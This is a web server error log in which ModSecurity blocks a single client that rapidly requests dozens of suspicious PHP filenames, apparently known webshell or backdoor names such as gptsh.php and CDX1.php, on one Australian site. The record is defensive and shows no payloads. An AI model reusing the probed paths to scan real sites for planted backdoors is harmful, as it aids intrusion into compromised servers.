[Fri Apr 17 08:37:51.247380 2026] [:error] [pid 34273:tid 34284] [client 20.166.7.149:15141] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "aeGA32uQDW686mK3dgFJ6gAAAYk"]
[Fri Apr 17 08:37:56.384478 2026] [:error] [pid 34273:tid 34299] [client 20.166.7.149:3671] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "aeGA5GuQDW686mK3dgFKEAAAAZg"]
[Fri Apr 17 08:38:01.543830 2026] [:error] [pid 34273:tid 34288] [client 20.166.7.149:21358] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "aeGA6WuQDW686mK3dgFKPwAAAY0"]
[Fri Apr 17 08:38:06.275458 2026] [:error] [pid 9153:tid 9239] [client 20.166.7.149:28567] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX1.php"] [unique_id "aeGA7uMHGxkTZX3c45d6VgAAAJU"]
[Fri Apr 17 08:38:07.702820 2026] [:error] [pid 34273:tid 34288] [client 20.166.7.149:3658] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX1.php"] [unique_id "aeGA72uQDW686mK3dgFKYgAAAY0"]
[Fri Apr 17 08:38:09.027349 2026] [:error] [pid 9153:tid 9235] [client 20.166.7.149:17989] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX1.php"] [unique_id "aeGA8eMHGxkTZX3c45d6awAAAJE"]
[Fri Apr 17 08:38:10.009210 2026] [:error] [pid 25010:tid 25027] [client 20.166.7.149:36131] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX1.php"] [unique_id "aeGA8o-7kkf42RarqQ0CLAAAAU4"]
[Fri Apr 17 08:38:11.445996 2026] [:error] [pid 9152:tid 9206] [client 20.166.7.149:13421] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "aeGA85JYca8I3TNCwIdueAAAAFA"]
[Fri Apr 17 08:38:12.529241 2026] [:error] [pid 9263:tid 9281] [client 20.166.7.149:3613] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "aeGA9BP68VyHNvj1e55S4gAAANA"]
[Fri Apr 17 08:38:13.663567 2026] [:error] [pid 9151:tid 9171] [client 20.166.7.149:29288] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "aeGA9chTVuRPkua22vTcnAAAAAo"]
[Fri Apr 17 08:38:15.265449 2026] [:error] [pid 9153:tid 9228] [client 20.166.7.149:15174] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "aeGA9-MHGxkTZX3c45d6fgAAAIo"]
[Fri Apr 17 08:38:16.174230 2026] [:error] [pid 25010:tid 25015] [client 20.166.7.149:40115] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "aeGA-I-7kkf42RarqQ0CLwAAAUI"]
[Fri Apr 17 08:38:17.552179 2026] [:error] [pid 9152:tid 9204] [client 20.166.7.149:20782] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "aeGA-ZJYca8I3TNCwIdunQAAAE4"]
[Fri Apr 17 08:38:23.434687 2026] [:error] [pid 25010:tid 25034] [client 20.166.7.149:24055] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "aeGA_4-7kkf42RarqQ0CTAAAAVU"]
[Fri Apr 17 08:38:25.450450 2026] [:error] [pid 34273:tid 34297] [client 20.166.7.149:23721] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "aeGBAWuQDW686mK3dgFKwwAAAZY"]
[Fri Apr 17 08:38:34.747927 2026] [:error] [pid 9153:tid 9230] [client 20.166.7.149:17491] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aeGBCuMHGxkTZX3c45d62QAAAIw"]
[Fri Apr 17 08:38:37.192187 2026] [:error] [pid 9152:tid 9194] [client 20.166.7.149:22862] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aeGBDZJYca8I3TNCwIdu6AAAAEQ"]
[Fri Apr 17 08:38:38.168029 2026] [:error] [pid 9153:tid 9220] [client 20.166.7.149:26397] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aeGBDuMHGxkTZX3c45d69wAAAII"]
[Fri Apr 17 08:38:38.978452 2026] [:error] [pid 34273:tid 34295] [client 20.166.7.149:3301] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aeGBDmuQDW686mK3dgFLKgAAAZQ"]
[Fri Apr 17 08:38:40.211204 2026] [:error] [pid 51878:tid 51900] [client 20.166.7.149:19821] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aeGBEEnQhUtMbw9EsgbeaAAAARQ"]
[Fri Apr 17 08:38:41.075580 2026] [:error] [pid 34273:tid 34278] [client 20.166.7.149:22848] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aeGBEWuQDW686mK3dgFLMgAAAYM"]
[Fri Apr 17 08:38:42.603408 2026] [:error] [pid 34273:tid 34290] [client 20.166.7.149:3254] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aeGBEmuQDW686mK3dgFLQAAAAY8"]
[Fri Apr 17 08:38:44.548819 2026] [:error] [pid 34273:tid 34285] [client 20.166.7.149:26411] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aeGBFGuQDW686mK3dgFLTQAAAYo"]
[Fri Apr 17 08:38:47.444648 2026] [:error] [pid 9151:tid 9172] [client 20.166.7.149:15880] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aeGBF8hTVuRPkua22vTcywAAAAs"]
[Fri Apr 17 08:38:52.840452 2026] [:error] [pid 25010:tid 25024] [client 20.166.7.149:15887] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aeGBHI-7kkf42RarqQ0CigAAAUs"]
[Fri Apr 17 08:38:57.797655 2026] [:error] [pid 34273:tid 34284] [client 20.166.7.149:47829] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aeGBIWuQDW686mK3dgFLjgAAAYk"]
[Fri Apr 17 08:39:01.208245 2026] [:error] [pid 9152:tid 9208] [client 20.166.7.149:4021] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/term.php"] [unique_id "aeGBJZJYca8I3TNCwIdvbwAAAFI"]
[Fri Apr 17 08:39:05.264198 2026] [:error] [pid 34273:tid 34296] [client 20.166.7.149:22529] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/term.php"] [unique_id "aeGBKWuQDW686mK3dgFLvgAAAZU"]
[Fri Apr 17 08:39:21.654974 2026] [:error] [pid 34273:tid 34291] [client 20.166.7.149:15659] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "aeGBOWuQDW686mK3dgFMNQAAAZA"]
[Fri Apr 17 08:39:26.703150 2026] [:error] [pid 25010:tid 25013] [client 20.166.7.149:54486] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "aeGBPo-7kkf42RarqQ0DKQAAAUA"]
[Fri Apr 17 08:39:30.457269 2026] [:error] [pid 9263:tid 9281] [client 20.166.7.149:20332] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "aeGBQhP68VyHNvj1e55TjQAAANA"]
[Fri Apr 17 08:39:33.644946 2026] [:error] [pid 34273:tid 34279] [client 20.166.7.149:14418] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "aeGBRWuQDW686mK3dgFMZgAAAYQ"]
[Fri Apr 17 08:39:53.335073 2026] [:error] [pid 9153:tid 9240] [client 20.166.7.149:27363] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aeGBWeMHGxkTZX3c45d86gAAAJY"]
[Fri Apr 17 08:39:59.071676 2026] [:error] [pid 9153:tid 9231] [client 20.166.7.149:16714] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aeGBX-MHGxkTZX3c45d8-QAAAI0"]
[Fri Apr 17 08:40:01.653802 2026] [:error] [pid 51878:tid 51889] [client 20.166.7.149:52365] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aeGBYUnQhUtMbw9EsgbffwAAAQk"]
[Fri Apr 17 08:40:03.095016 2026] [:error] [pid 51878:tid 51886] [client 20.166.7.149:42361] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aeGBY0nQhUtMbw9EsgbfggAAAQY"]
[Fri Apr 17 08:40:05.007765 2026] [:error] [pid 9152:tid 9194] [client 20.166.7.149:27340] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file61.php"] [unique_id "aeGBZZJYca8I3TNCwIdyXQAAAEQ"]
[Fri Apr 17 08:40:07.304745 2026] [:error] [pid 9152:tid 9194] [client 20.166.7.149:28317] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file61.php"] [unique_id "aeGBZ5JYca8I3TNCwIdyhAAAAEQ"]
[Fri Apr 17 08:40:09.057703 2026] [:error] [pid 9152:tid 9195] [client 20.166.7.149:54421] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file61.php"] [unique_id "aeGBaZJYca8I3TNCwIdymAAAAEU"]
[Fri Apr 17 08:40:12.672806 2026] [:error] [pid 25010:tid 25028] [client 20.166.7.149:42358] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file61.php"] [unique_id "aeGBbI-7kkf42RarqQ0EGgAAAU8"]
[Fri Apr 17 08:40:16.908864 2026] [:error] [pid 9152:tid 9193] [client 20.166.7.149:41815] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "aeGBcJJYca8I3TNCwIdzUgAAAEM"]
[Fri Apr 17 08:40:20.683573 2026] [:error] [pid 51878:tid 51890] [client 20.166.7.149:53100] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "aeGBdEnQhUtMbw9EsgbfpQAAAQo"]
[Fri Apr 17 08:40:24.770727 2026] [:error] [pid 9152:tid 9214] [client 20.166.7.149:27071] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "aeGBeJJYca8I3TNCwIdztAAAAFg"]
[Fri Apr 17 08:40:32.634285 2026] [:error] [pid 9152:tid 9205] [client 20.166.7.149:24915] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gptsh.php"] [unique_id "aeGBgJJYca8I3TNCwId0HAAAAE8"]
[Fri Apr 17 08:40:37.832104 2026] [:error] [pid 9153:tid 9220] [client 20.166.7.149:29068] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gptsh.php"] [unique_id "aeGBheMHGxkTZX3c45d9hwAAAII"]
[Fri Apr 17 08:40:42.224056 2026] [:error] [pid 25010:tid 25036] [client 20.166.7.149:41844] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gptsh.php"] [unique_id "aeGBio-7kkf42RarqQ0EiAAAAVc"]
[Fri Apr 17 08:40:45.099657 2026] [:error] [pid 9152:tid 9204] [client 20.166.7.149:42334] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gptsh.php"] [unique_id "aeGBjZJYca8I3TNCwId0sAAAAE4"]
[Fri Apr 17 08:40:49.618926 2026] [:error] [pid 34273:tid 34293] [client 20.166.7.149:54420] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aeGBkWuQDW686mK3dgFN1wAAAZI"]
[Fri Apr 17 08:41:07.984365 2026] [:error] [pid 9152:tid 9207] [client 20.166.7.149:27010] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new3.php"] [unique_id "aeGBo5JYca8I3TNCwId1qwAAAFE"]
[Fri Apr 17 08:41:14.650695 2026] [:error] [pid 25010:tid 25024] [client 20.166.7.149:14871] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new3.php"] [unique_id "aeGBqo-7kkf42RarqQ0FEwAAAUs"]
[Fri Apr 17 08:41:20.196049 2026] [:error] [pid 34273:tid 34286] [client 20.166.7.149:54843] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new3.php"] [unique_id "aeGBsGuQDW686mK3dgFOiAAAAYs"]
[Fri Apr 17 08:41:22.714932 2026] [:error] [pid 9152:tid 9202] [client 20.166.7.149:52229] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new3.php"] [unique_id "aeGBspJYca8I3TNCwId1zQAAAEw"]
[Fri Apr 17 08:41:25.869005 2026] [:error] [pid 9152:tid 9208] [client 20.166.7.149:22638] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "aeGBtZJYca8I3TNCwId14AAAAFI"]
[Fri Apr 17 08:41:27.986873 2026] [:error] [pid 9152:tid 9206] [client 20.166.7.149:24356] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "aeGBt5JYca8I3TNCwId17gAAAFA"]
[Fri Apr 17 08:41:30.316976 2026] [:error] [pid 9153:tid 9223] [client 20.166.7.149:23998] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "aeGBuuMHGxkTZX3c45d-rwAAAIU"]
